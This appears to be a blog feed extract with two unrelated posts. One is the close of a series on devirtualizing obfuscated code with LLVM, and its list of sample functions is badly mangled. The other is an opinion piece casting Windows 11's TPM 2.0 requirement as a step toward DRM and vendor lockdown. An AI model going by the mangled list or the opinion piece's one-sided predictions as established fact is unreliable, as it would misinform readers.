I haven’t really explored the recompilation in depth so far, because my main objective was to obtain readable LLVM-IR code, but some considerations follow:
State
structure. SATURN employs this technique when the stack slots and arguments recovery cannot be applied.The major issue to deal with when attempting a 1:1 mapping is related to how the recompilation may unexpectedly change the stack layout. This could happen if, during the register allocation phase, some spilling slot is allocated on the stack. If these additional spilling+reloading semantics are not adequately handled, some pointers used by the function may access unforeseen stack slots with disastrous results.
The following log files contain the output of the PoC tool executed on functions showcasing different code constructs (e.g. loop, jump table) and accessing different data structures (e.g. GS segment, DS segment, KUSER_SHARED_DATA structure):
KERNEL32.dll::GetTickCount64
and literally included as nostalgia kicked in;cpuid
and with some nicely recovered llvm.fshl.i64
intrinsic calls used as rotations;ADVAPI32.dll::GetUserNameW
and with a nicely recovered llvm.bswap.i64
intrinsic call;KERNEL32.dll::LoadLibraryA
, KERNEL32.dll::GetProcAddress
, calling other internal functions (intra-calls), executing several unsupported cpuid
instructions;KUSER_SHARED_DATA
and with nicely synthesized conditional jumps;CPUID
handler and devirtualized with PointersHoisting
disabled to preserve the switch case.Searching for the @F_
pattern in your favourite text editor will bring you directly to each devirtualized VmStub
, immediately preceded by the textual representation of the recovered CFG.
I apologize for the length of the series, but I didn’t want to discard bits of information that could possibly help others approaching LLVM as a deobfuscation framework, especially knowing that, at this time, several parties are currently working on their own LLVM-based solution. I felt like showcasing its effectiveness and limitations on a well-known obfuscator was a valid way to dive through most of the details. Please note that the process described in the posts is just one of the many possible ways to approach the problem, and by no means the best way.
The source code of the proof-of-concept should be considered an experimentation playground, with everything that involves (e.g. bugs, unhandled edge cases, non production-ready quality). As a matter of fact, some of the components are barely sketched to let me focus on improving the LLVM optimization pipeline. In the future I’ll try to find the time to polish most of it, but in the meantime I hope it can at least serve as a reference to better understand the explained concepts.
Feel free to reach out with doubts, questions or even flaws you may have found in the process, I’ll be more than happy to allocate some time to discuss them.
I’d like to thank:
See you at the next LLVM adventure!
]]>As you may or may not have already noticed, many people are wondering about Microsoft’s new mandatory TPM 2.0 hardware requirement for Windows 11. If you look around the press releases, shallow technical documentation, and the myriad of buzzwords like “security,” “device health,” “firmware vulnerabilities,” and “malware,” you still haven’t received a straightforward answer as to why exactly you need this tech.
Many of you reading this article may have machines around the house or office you built from silicon that isn’t even seven years old. These still play today’s latest games without hiccup or issue, and unless you let your Grandma or 6-year old nephew on the machine recently, you likely don’t have malware either.
So, why do I suddenly need a TPM 2.0 device on my machine, then you ask? Well, the answer is quite simple. It’s not about you; it’s about them.
You see, the PC (emphasis on personal here) is in a way the last bastion of digital freedom you have, and that door is slowly closing. You need to only look at highly locked and controlled systems like consoles and phones to see the disparity.
Political affiliations aside, one can take the Wikileaks app removal from both the Apple store and Google play store as an excellent example of what the world looks like when your device controls you, instead of you controlling the device.
Twenty years ago, Microsoft set forth a goal of “trusted” computing called Palladium. While this technical goal has slowly but surely crept into Windows over the years, it has laid chiefly dormant because of critical missing infrastructure. This being that until recently, quite a large majority of consumer machines did not have a TPM, which you’ll learn later is a critical component to making Palladium work. And while we won’t deny that Bitlocker is excellent for if your device ever gets stolen, we will remind you that Microsoft always sold this tyranny to look great on the surface (no pun intended here).
When Palladium debuted, it was shot out of orbit by proponents of free and open software and back into hiding it went.
So why is the TPM useful? The TPM (along with suitable firmware) is critical to measuring the state of your device - the boot state, in particular, to attest to a remote party that your machine is in a non-rooted state. It’s very similar to the Widevine L1 on Android devices; a third-party can then choose whether or not to serve you content. Everything will suddenly revolve around this “trust factor” of your PC. Imagine you want to watch your favorite show on Netflix in 4k, but your hardware trust factor is low? Too bad you’ll have to settle for the 720p stream. Untrusted devices could be watching in an instance of Linux KVM, and we can’t risk your pirating tools running in the background!
You might think that “It’s okay, though! I can emulate a TPM with KVM; the software already exists!” The unfortunate truth is that it’s not that simple. TPMs have unique keys burned in at manufacture time called Endorsement Keys, and these are unique per TPM. These keys are then cryptographically tied to the vendor who issued them, and as such, not only does a TPM uniquely identify your machine anywhere in the world, but content distributors can pick and choose what TPM vendors they want to trust. Sound familiar to you? It’s called Digital Rights Management, otherwise known as DRM.
Let’s not forget, Intel initially shipped the Pentium III with a built-in serial number unique per chip. Much the same initial fate as Palladium, it was also shot down by privacy groups, and the feature was subject to removal.
There seems to be a lot misconceptions floating around in social media. In this section we’ll highlight one of them:
“I can patch the ISO or download one that removes the requirement.”
You can, sure. Windows and a majority of its components will function fine, similar to if you root your phone. Remember the part earlier, though, about 4k video content? That won’t be available to you (as an example). Whether it be a game or a movie, a vendor of consumable media decides what users they trust with their content. Unfortunately, without a TPM, you aren’t cutting it.
You’ve probably noticed that the marketing for this requirement is vague and confusing, and that’s intentional. It doesn’t do much for you, the consumer. However, it does set the stage for the future where Microsoft begins shipping their TPM on your processor. Enter Microsoft’s Pluton. The same technology is present in the Xbox. It would be an absolute dream come true for companies and vendors with special interests to completely own and control your PC to the same degree as a phone or the Xbox.
While the writers of this article will not deny that device attestation can bring excellent security for the standard consumers of the world, we cannot ignore that it opens the door to the restriction of user privacy and freedoms. It also paves the way to have the PC locked into a nice controllable cube for all the citizens to use.
You can see the wood for the trees here. When a company tells you that you need something, and it’s “for your own good,” and hey, they’re just on a humanitarian aid mission to save you from yourself, one should be highly skeptical. Microsoft is pushing this hard; we can even see them citing entirely dubious statistics. We took this one from The Verge:
“Microsoft has been warning for months that firmware attacks are on the rise. “Our Security Signals report found that 83 percent of businesses experienced a firmware attack, and only 29 percent are allocating resources to protect this critical layer,” says Weston.”
If you read into this link, you will find it cites information from Microsoft themselves, called “Security Signals,” and by the time you’re done reading it, you forgot how you got there in the first place. Not only is this statistic not factual, but successful firmware attacks are incredibly rare. Did we mention that a TPM isn’t going to protect you from UEFI malware that was planted on the device by a rogue agent at manufacture time? What about dynamic firmware attacks? Did you know that technologies such as Intel Boot Guard that have existed for the better part of a decade defend well against such attacks that might seek to overwrite flash memory?
We are here to remind you that the TPM requirement of Windows 11 furthers the agenda to protect the PC against you, its owner. It is one step closer to the lockdown of the PC. As Microsoft won the secure boot battle a decade ago, which is where Microsoft became the sole owner of the Secure Boot keys, this move also further tightens the screws on the liberties the PC gives us. While it won’t be evident immediately upon the launch of Windows 11, the pieces are moving together at a much faster pace.
We ask you to do your research in an age of increased restriction of personal freedom, censorship, and endless media propaganda. We strongly encourage you to research Microsoft’s future Pluton chip.
There are links provided below to research for yourself.
]]>